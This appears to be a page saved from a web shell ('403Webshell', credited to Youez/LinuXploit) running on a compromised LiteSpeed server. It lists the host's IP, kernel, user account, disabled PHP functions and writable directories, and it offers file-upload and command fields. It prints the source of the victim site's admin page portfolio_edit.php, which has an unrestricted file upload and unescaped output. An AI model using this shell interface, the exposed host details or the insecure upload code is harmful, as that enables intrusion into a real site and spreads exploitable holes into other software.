403Webshell
Server IP : 92.204.40.98  /  Your IP : 216.73.216.201
Web Server : LiteSpeed
System : Linux amster.dnsfors.com 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : tmksyste ( 2190)
PHP Version : 8.3.31
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tmksyste/public_html/TMAdmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tmksyste/public_html/TMAdmin/portfolio_edit.php
<?php
include"header.php";
error_reporting(1);
$todo=  mysqli_real_escape_string($con,$_GET['id']);
include"sidebar.php";
?>
<script src="https://cdn.ckeditor.com/4.11.1/standard/ckeditor.js"></script>
<!-- ============================================================== -->
<!-- Start right Content here -->
<!-- ============================================================== -->
<div class="main-content">
 <div class="page-content">
       <div class="container-fluid">

                    <!-- start page title -->
                    <div class="row">
                        <div class="col-12">
                            <div class="page-title-box d-sm-flex align-items-center justify-content-between">
                                <h4 class="mb-sm-0">Edit Blogs</h4>

                                <div class="page-title-right">
                                    <ol class="breadcrumb m-0">
                                        <li class="breadcrumb-item"><a href="javascript: void(0);">User</a></li>
                                        <li class="breadcrumb-item active">Blog</li>
                                    </ol>
                                </div>

                            </div>
                        </div>
                    </div>
                    <!-- end page title -->
                    <?php
					 $query="SELECT * FROM  portfolio where id='$todo' ";
 $result = mysqli_query($con,$query);
$i=0;
while($row = mysqli_fetch_array($result))
{
	$id="$row[id]";
	$port_title="$row[port_title]";
	$port_desc="$row[port_desc]";
  $port_detail="$row[port_detail]";
}
  ?>

                    <div class="row">

                        <!--end col-->
                         <div class="col-lg-12">
                            <div class="card">
                                <div class="card-header">
                                    <ul class="nav nav-tabs-custom rounded card-header-tabs border-bottom-0" role="tablist">
                                        <li class="nav-item">
                                            <a class="nav-link active" data-bs-toggle="tab" href="#personalDetails" role="tab" aria-selected="false">
                                                <i class="fas fa-home"></i> Edit Blog
                                            </a>
                                        </li>


                                    </ul>
                                </div>



                                <?php
           $status = "OK"; //initial status
$msg="";
           if(ISSET($_POST['save'])){
$port_title = mysqli_real_escape_string($con,$_POST['service_title']);
$port_desc = mysqli_real_escape_string($con,$_POST['service_desc']);
$port_detail = mysqli_real_escape_string($con,$_POST['service_detail']);



$slider_img=mysqli_query($con,"SELECT  `ufile` FROM `portfolio` WHERE `id`='$todo'");
$slider_img_res= mysqli_fetch_row($slider_img);
$slider_image = $slider_img_res[0];
 if(!empty($_FILES["ufile"]["tmp_name"]))
 {
	 

$uploads_dir = 'uploads/portfolio';

        $tmp_name = $_FILES["ufile"]["tmp_name"];
        // basename() may prevent filesystem traversal attacks;
        // further validation/sanitation of the filename may be appropriate
        $name = basename($_FILES["ufile"]["name"]);
        $random_digit=rand(0000,9999);
        $new_file_name=$random_digit.$name;

        move_uploaded_file($tmp_name, "$uploads_dir/$new_file_name");
		unlink('uploads/portfolio/'.$slider_image);
		if(empty($new_file_name))
			$new_file_name=$slider_image;
 }
 else
	 $new_file_name=$slider_image;

if($status=="OK")
{
	
$qb=mysqli_query($con,"update portfolio set port_title='$port_title', port_desc='$port_desc', port_detail='$port_detail' , ufile='$new_file_name' where id='$todo'");

header('location:portfolio');
echo '<META HTTP-EQUIV="Refresh" Content="0; URL=portfolio">'; 


		if($qb){
		    	$errormsg= "
<div class='alert alert-success alert-dismissible alert-outline fade show'>
                 Portfolio Updated successfully.
                  <button type='button' class='btn-close' data-bs-dismiss='alert' aria-label='Close'></button>
                  </div>
 "; //printing error if found in validation

		}
	}

        elseif ($status!=="OK") {
            $errormsg= "
<div class='alert alert-danger alert-dismissible alert-outline fade show'>
                     ".$msg." <button type='button' class='btn-close' data-bs-dismiss='alert' aria-label='Close'></button> </div>"; //printing error if found in validation


    }
    else{
			$errormsg= "
      <div class='alert alert-danger alert-dismissible alert-outline fade show'>
                 Some Technical Glitch Is There. Please Try Again Later Or Ask Admin For Help.
                 <button type='button' class='btn-close' data-bs-dismiss='alert' aria-label='Close'></button>
                 </div>"; //printing error if found in validation


		}
           }
           ?>



                                <div class="card-body p-4">
                                    <div class="tab-content">
									          <?php
					 $query="SELECT * FROM  portfolio where id='$todo' ";
 $result = mysqli_query($con,$query);
$i=0;
while($row = mysqli_fetch_array($result))
{
	$id="$row[id]";
	$port_title="$row[port_title]";
	$port_desc="$row[port_desc]";
  $port_detail="$row[port_detail]";
    $slider_image="$row[ufile]";
}
  ?>
                <div class="tab-pane active" id="personalDetails" role="tabpanel">
<?php
if($_SERVER['REQUEST_METHOD'] == 'POST')
						{
						print $errormsg;
						}
   ?>
              <form action="" method="post" enctype="multipart/form-data">
                    <div class="row">

               <div class="col-lg-6">
                    <div class="mb-3">
                        <label for="firstnameInput" class="form-label"> Blog Title</label>
                        <input type="text" class="form-control" id="firstnameInput" name="service_title" value="<?php print $port_title ?>" placeholder="Enter Rooms Title">
                </div>
                </div>
               <div class="col-lg-6">
				<div class="mb-3">
						<label for="firstnameInput" class="form-label">Photo</label>
						  <b>Image Size:570px*380px</b>
									<br>
						<img src="uploads/portfolio/<?php print $slider_image ?>" style="width:20%;height:auto;margin-bottom:10px;">
						<input type="file" class="form-control" id="firstnameInput" name="ufile">
                                                           
            </div>
			</div>
			<div class="col-lg-12">
                <div class="mb-3">
                <label for="firstnameInput" class="form-label"> Description</label>
                <textarea class="form-control" id="editor1" name="service_desc" rows="2"><?php print $port_desc ?></textarea>
                    </div>
            </div>

																
                <!--end col-->

                <div class="col-lg-12">
                <div class="hstack gap-2 justify-content-end">
            <button type="submit" name="save" class="btn btn-primary">Update Blog</button>

                                                        </div>
                                                    </div>
                                                    <!--end col-->
                                                </div>
                                                <!--end row-->
                                            </form>
                                        </div>
                                        <!--end tab-pane-->

                                        <!--end tab-pane-->

                                        <!--end tab-pane-->
                                    </div>
                                </div>
                            </div>
                        </div>
                        <!--end col-->
                    </div>
<script>
    window.onload = function() {
        CKEDITOR.replace('editor1');
    };
</script>
                </div>
                <!-- container-fluid -->
            </div>
            <!-- End Page-content -->

            <?php include"footer.php";?>

Youez - 2016 - github.com/yon3zu
LinuXploit